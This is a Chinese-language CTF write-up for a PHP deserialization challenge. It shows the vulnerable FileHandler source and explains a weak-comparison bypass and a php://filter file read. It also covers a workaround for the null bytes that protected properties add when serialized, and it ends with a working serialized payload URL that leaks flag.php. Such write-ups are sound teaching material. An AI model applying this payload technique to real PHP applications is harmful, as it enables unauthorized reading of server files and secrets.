1.题目源码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
这是一个PHP反序列化的题目,首先看到需要传入一个’str’,而且通过is_valid()规定了传入的每一个字符的ASCII码的范围必须在32到125之间,然后对这个’str’进行反序列化操作。
在反序列化中,先调用__destruct()析构方法:
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
从__destruct()代码中可以看到,如果op === “2”,那么op会被赋值为"1",然后content会赋值为空,并执行process函数,这里 if 中的判断语句用的是强类型比较。
然后看看process函数:
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
代码内容为:如果op == “1”,执行write()函数;如果op ==“2”,执行read函数,同时将结果赋值给$res,然后输出;否则将输出"Bad Hacker!"。
这里 if 语句中的判断语句用的是弱类型的比较,那么只要op=2,这个是int整数型的2,那么op === “2” 则为False, op == "2"则为True,就可以进入read函数。
再看看read函数:
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
在read函数中,使用filename调用file_get_contents函数将文件内容赋值给$res输出。
这里的filename是我们可控的,那么可以用前不久学的php://filter伪协议读取文件。然后使用output函数输出。
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
那么现在整个反序列过程就清楚了:
1.将op = 2
2.filename = "php://filter/read=convert.base64-encode/resource=flag.php"
<?php
class FileHandler {
protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content;
}
$a = new FileHandler();
echo serialize($a);
?>
得到结果是这样的,发现有三个地方显示不了。
原因是在于 $op $filename $content三个变量权限都是protected,而protected权限的变量在序列化时会有%00*%00字符,%00字符的ASCII码为0,不在is_valid函数规定的32到125的范围内。
可以使用一种简单的办法绕过:因为php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public就可以了。
那么现在就可以使用这个payload来读取flag:
http://538f4844-0f4a-4d26-b0db-57f2416549f2.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}
再将结果进行base64解码即可得到flag:
总结:
1.区分强类型比较和弱类型比较进行绕过
2.加深对php序列化和反序列化过程的理解
php序列化与反序列化方法:
- __construct 当一个对象创建时被调用
- __destruct 当一个对象销毁时被调用
- __toString 当一个对象被当作一个字符串使用
- __sleep 在对象被序列化之前运行
- __wakeup 在对象被反序列化之后被调用
参考:
https://www.freebuf.com/articles/web/209975.html
https://www.cnblogs.com/tr1ple/p/11156279.html